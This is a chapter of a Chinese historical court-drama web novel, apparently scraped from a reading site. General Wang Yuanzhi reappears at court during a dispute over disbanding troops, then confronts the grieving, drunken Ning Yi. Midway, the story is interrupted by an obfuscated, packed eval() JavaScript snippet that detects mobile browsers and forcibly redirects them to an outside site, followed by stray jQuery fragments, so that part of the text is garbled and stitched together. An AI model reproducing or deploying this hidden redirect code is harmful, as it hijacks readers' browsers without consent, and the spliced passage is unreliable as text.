飞雪飘零,飘到了年关之际才停,落得大地白茫茫一片,涩眼难行。
王远之与严婉兮是七天后才进上都城,雪路艰难,人马顿足,七日能到已是极限,严婉兮撩起车帘子,望着这里的街道和店铺,再回故地,一股熟悉之感再次升起。
王远之一身黑衣,戴着斗笠,拉过缰绳,回头对着车内的道:“小兮,我先送你回严府。”
“且慢!”
缰绳在掌心缠了两圈停下,王远之面露疑惑之色,方才听她解释道:“王将军此番回京自有大计未成,况且陷害你的人还未落网,万不可轻易暴露行踪,还是让我自己回去。”
王远之方了然,但她答应过严子琛要送严婉兮安然回家,怎么能弃她而去。
严婉兮再三进劝:“望将军仔细思量。”
王远之压低斗笠:“你驾着这辆马车,到府上后唤名小斯速来将军府报平安,一切小心。”
虽说这里到严府并不远,有一匹快马也好让王远之放心,再加上一来一回,严婉兮早已学会御马之术。
“好。”严婉兮答。
“既然如此,小兮,保重。”
“王将军保重。”
王远之跳下车辕,准备往前走,忽停住脚步,转头道:“小兮,严大人此前整理的典籍名册可还在携带?”
蓦地提起这件事,才让严婉兮想起当初她就是拿着那份书册逃去图兰,这么久来一直妥帖保管,只是这么多日意外频频,倒叫她把这件事抛到九霄云外去了。
“在的。”严婉兮袖间拿出一个卷筒,“给。”
王远之接过:“多谢。”
随后作揖撤步,匆匆离开。
这一别,王远之并未返回将军府,而是直奔皇城,入城之际天未完全明朗,此刻天边才亮起朦朦光亮,虽一路风尘仆仆,尚未拾掇,但她一向不顾及那些繁文缛节,最好立刻进朝。
当今天子地位渐稳,又逢厥然战事停息,朝堂之上,再次恢复往日的平和与庄严。
但却有一件事惹得君臣焦头烂额,那就是国中亿兆流民,财库难以承担如此之大的赈济工作。
再加上,自王远之失踪后,北府军驻守西北,要的是白花花的银子供养军队,无疑雪上加霜,当今军中最有威信的当属宁弈,可他近几日竟然称病不上朝,闭门谢客,要是真有个婴疾不遂便也罢,可宫中皆传他每日进宫为长公主守灵,哪是真的病了。
因这件事,群臣几次进谏,说宁弈此举乃是恃功犯上,目无朝纲,沈昭居然对此仅是堪堪揭过。
“老师操劳日胜,又才立下赫赫显功,这点小事,何足挂齿。”
小事?犯上不敬,这能是小事?
但也无可奈何,确实还有更大的事等着他们。
朝堂上下能拿定主意之人少之又少,左衡担着户部的主官,从年初到年末便一直为钱的事发愁,没有办法,只能硬着头皮领衔奏道:“陛下,当下外患虽攘,可内患犹存,国库亏空未补,仍需大量给补广济流民。”
想当初,沈荜在时,本欲以开关互市换取休养生息,供养国库,但最后因厥然毁约未成,便又成了一件悬而未决的大事。
“众爱卿以为此当如何?”
“既然战事已定,臣以为,倒不如将冗驻西北的军队裁撤。”左衡谏言,又侧身看向李新苗道,“只是,不知李大人以为如何?”
自从蒋迁被罢兵部尚书后,便迁升吏部侍郎李新苗补缺,他接言道:“此事尚待商榷,目前看来,厥然军确实溃败退却,尚无还击之力,但恐其残喘之后卷土重来,不可尽数撤军,况且,北患已除,还有西方澜河之外的古宛虎视眈眈,仅仅裁军所节省的开支并不能充盈国库,故臣以为,还需寻个上策之计。”
李新苗说得委婉,但明眼人都能听出来,他并不赞成大量裁撤军队。
“李大人可不能只顾着你们兵部的事呀,也要替咱们户部想想,当下拿不出银子,哪什么供着那些边关士兵?”左衡有些着急,语气哀怨。
李新苗语重心长道:“左尚书,并非我不念着你们户部的事,也不是一定不能削兵,而是要缓缓图之,你若是一口气将北府军都遣散,让外方知道我齐悦疆土无人镇守,岂不是给人趁虚之机?”
开源节流要紧,护卫疆土也要紧,任谁说都有道理,这下倒陷入两难的局面。
“说来说去,全是因北府军现下无人做主,要是有个能说话拿主意的,何苦我们在这争论不休。”左衡道。
“......”
气氛凝涩,大臣们你望我,我望你,也不发言,左衡早已经急红了脸,只有他这个户部尚书一人白白上火。
“谁说北府军无人做主?”
忽闻殿外传来一声悠扬坚定的呵声,只见一位身形颀长之人远远站在大殿之外,斗笠隔面,看不清面容。
明德慌忙见此,喊道,“羽林卫护驾!”
兵甲前行,作势拦截。
“慢着!”那人止道。
要说第一声开口尚未叫人分辨出此人,但后一句几乎已经让沈昭以及一些老臣辨出嗓音。
王远之掀先破旧的斗笠,羽林卫见此退却,她迎面跨进殿门,路过每一张目瞪口呆的面容。
“王、王将军!”
“还真是,王将军原来还活着!”
沈昭从龙椅上缓缓站起,也不敢相信眼前所见,半天才回过神来,终于从嘴里吐出一句呼唤:“舅公......”
“诸位,当真是好久不见。”王远之昂扬向前,及止跸阶下停住,朝上方行拜礼,起身后又向左衡那方望去,嘴角扬起一记意味深长的笑,“左尚书,还记得上次为长公主掌朝之事,你我便起了一番争执,怎么?如今本将军不在,你还想撤我的兵?”
任谁也想不到王远之会突然出现在朝堂之上,所有人都以为他下落不明甚至是死了,毕竟派出去寻他下落的所有消息都是没有消息,就连宁弈也没有跟人提过他,所有人都将这个人忘了似的。
“王将军莫要拿此事取笑,老夫不过是就事论事。”左衡丧着脸道。
“那就好,若是左大人与我过意不去,心有芥蒂,我倒是不妨上你府上叨扰彻谈。”
“......这倒不必。”
左衡连连推辞,他一个文官与一介武夫有什么可说的,那不是对牛弹琴吗?
王远之恭恭敬敬对上言:“陛下,臣并不是来阻挠左尚书削兵的,相反,臣与他想法如出一辙。”
左衡听到这句话浑浊的眼珠转了个圈儿,望向王远之时,看着她狡黠地朝自己露出个笑。
“这么说,王将军倒是支持这一想法?”沈昭道。
“强敌已退,归将士于故园有何不可?”王远之回来途中就是这样想,只是没想倒左衡先她一步提出此事,“但李大人所说也不无道理,驻军不可悉数尽退,这件事还需从长计议。”
沈昭挥手赞道:“好,既然王将军发话了,这件事就由你酌情处理,后将奏疏呈上来便可。”
“臣遵旨。”
王远之领下旨意后,望了望四周,全然不见宁弈的声音,她便问道:“宁弈呢?”
礼部主管朝贺,程炎早就对此不满,语气尖酸道:“这位宁大人呐,已有些日子没上朝了。”
王远之想起不久前严子琛和她说过沈荜故去之事,想必他是此事萎靡不振,可现在还有很多事尚未决断,并不是悲观消沉之时,于是退朝后便去了宁府寻他。
沈昭还来不及慰问一下他这个舅公是如何下落不明,又是怎样死里逃生,人就已经没影。
走到宁府外,一个老仆将王远之迎进内,王远之感受到的还是一如既往的冷清。
“这小子,还要在这冷飕飕的鬼宅子呆多久,也不怕半夜有鬼找上门。”王远之嘀咕道。
老仆将人带到大厅外道:“将军请稍候,容老奴去通禀我家主人一声。”
“你去罢。”
老仆佝偻着身子一步一步慢腾腾离开。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970055|179065||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>王远之坐在椅子上等了许久,端上来的茶一口喝干净,见人迟迟不到,等得焦躁,于是循这老仆去的方向跟过去,门虚掩着,只听一间屋内传来一阵幽微的劝告。
“公子,不能再喝了,王将军还在前堂等着你呢。”
“哎,公子,你的身子也消受不住,就听老奴一句劝罢......”
王远之循声推开房门,只见满地狼藉,酒气熏天,酒坛滚落四处,连下脚的地方都很难找。
她又望着软椅下瘫在地上的男子,面色赤红,酩酊大醉,根本听不进去任何人说话,直到开门时,门口散进来的光将眸子射的刺眼,那人才动了动胳膊掩住眼帘。
“他每日都将自己灌得这般醉?”王远之问。
“主人自打回府便是如此,一到白天就将自己关在房内不准任何人打扰,日落之时却又起身进宫,待到第二日早上才回来,日复一日......”
“酒!给我酒!”
地上之人尚未觉察到屋中已经多了一抹陌生的身影,还在开口嚷嚷要酒。
王远之二话不说,拎起桌上尚未揭开的酒坛,宁弈伸手去接,谁料,那酒确实递到了他手里,却也兜头浇在了他的脸庞,满满一壶酒如瀑布般飞泻而尽,叫人喘不过气。
“王将军,这这这......”老仆摇手止住。
而后,王远之扔掉酒瓶,任其落在地上滚了几圈,道:“端醒酒汤来。”
老仆应声而去。
此时的宁弈已经清醒大半,待他看清来人后,不说话,只是笑了笑,那苍白、无奈的笑回荡整个房内。
王远之见了他这副人不人鬼不鬼的样子有些气恼,揪起他的衣领,厉声道:“你便是这般自甘堕落?枉我和阿荜如此相信你!”
“呵、呵......”宁弈也不替自己辩解,而是拖着阴森的笑一个字一个字往外蹦,“公主死了,她死了。”
“她死了,你便不能活了吗?”王远之被他自暴自弃的话惹怒,大声吼道。
“我还有什么理由活。”宁弈抬起手掌,扯了扯王远之的手,却因为醉后没有力气移开,只能撒手泄气道,“可我也没有资格死......”
“我问过顾洵言,他说尚无旁因证明公主是被人所害,她的确死于自焚。”
“害死她的人是我,我有何颜面去地府见她。”
宁弈回来后曾找过顾洵言问过此事,但顾洵言早就将这个案子结了,并且呈报天听,就连沈昭也慢慢接受这个事实。
横竖找不到凶手,宁弈便将一切罪责归咎于己身,他想,若不是自己将她关起来,断了她的心气,也不会让她存了死志。
王远之龇着牙松手,手劲过大将人推在地上,居高临下地看着他:“你要死要活我不拦你,但你仔细想想,当今陛下尚且年幼,齐悦又多遭祸乱,百姓罹难,阿荜此生最大的愿望便是承起这江山万民,你甘心令她苦心孤诣经营的一切毁于一旦?”
“你打退了厥然军,的确大功一件,谁想回来后竟变成这个样子,你以为你将自己关在着一方暗屋便能了事?你这是自欺欺人!”
“今日朝堂之上,所有人都在为国库不足、灾民横生的事抓耳挠腮,为了节省开支,他们已经打上裁兵的注意,我就是不同意也得同意,找你来原是想商量此事,还有不久前军中出了奸细,致使我遭人暗算,本也想与你揪出此人清算,但看了你这副摸样,只当是我眼瞎,心更瞎,寻错了人......”
王远之脸上挂着遗憾和失望,宁弈这个样子还能商量出什么对策,倒不如自己去想想办法。
她摇头转身就要走,踏出房门之时却听那道嘶哑又沉重的嗓音再次亮起:“厥然已经答应与齐悦重开关市,这次绝不会食言。”
“北府军内确实出了内奸,但还需用他诱出背后之人,将军切莫打草惊蛇。”
王远之冷着脸回头,听他又说起:“至于重整军队,我也同意,军中大多苦旅之人确实可以放归还乡,给予厚恤。”